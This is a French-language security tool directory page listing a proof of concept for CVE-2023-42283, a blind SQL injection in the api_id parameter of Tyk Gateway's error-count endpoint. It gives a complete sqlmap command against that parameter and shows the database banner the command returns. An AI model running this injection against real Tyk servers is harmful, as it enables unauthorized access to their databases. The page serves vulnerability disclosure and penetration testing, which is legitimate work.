Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-42283 — Preuve de concept pour la CVE-2023-42283 dans Tyk Gateway. | Kitploit
Outils/GitHubGitHub/andreysanyuk/cve-2023-42283
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubandreysanyuk/cve-2023-42283

CVE-2023-42283

Preuve de concept pour la CVE-2023-42283 dans Tyk Gateway.

Voir le dépôt
1il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Avertissement

Pour un usage éducatif uniquement !

Détails

Preuve de concept pour CVE-2023-42283. Tyk Gateway est vulnérable à l'injection SQL. Corrigé dans la version 5.0.7.

Le paramètre d’URL ‘api_id’ de « https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=...&api_id=<PAYLOAD_HERE> » est vulnérable à l’injection SQL aveugle.

Exploitation

Utilisez sqlmap avec les paramètres suivants :

root@kitploit:~
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=1" -p "api_id" --cookie="<INSERT COOKIE HERE>" --banner

La bannière de la base de données SQL est renvoyée dans la réponse :

root@kitploit:~
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...
Télécharger l’outil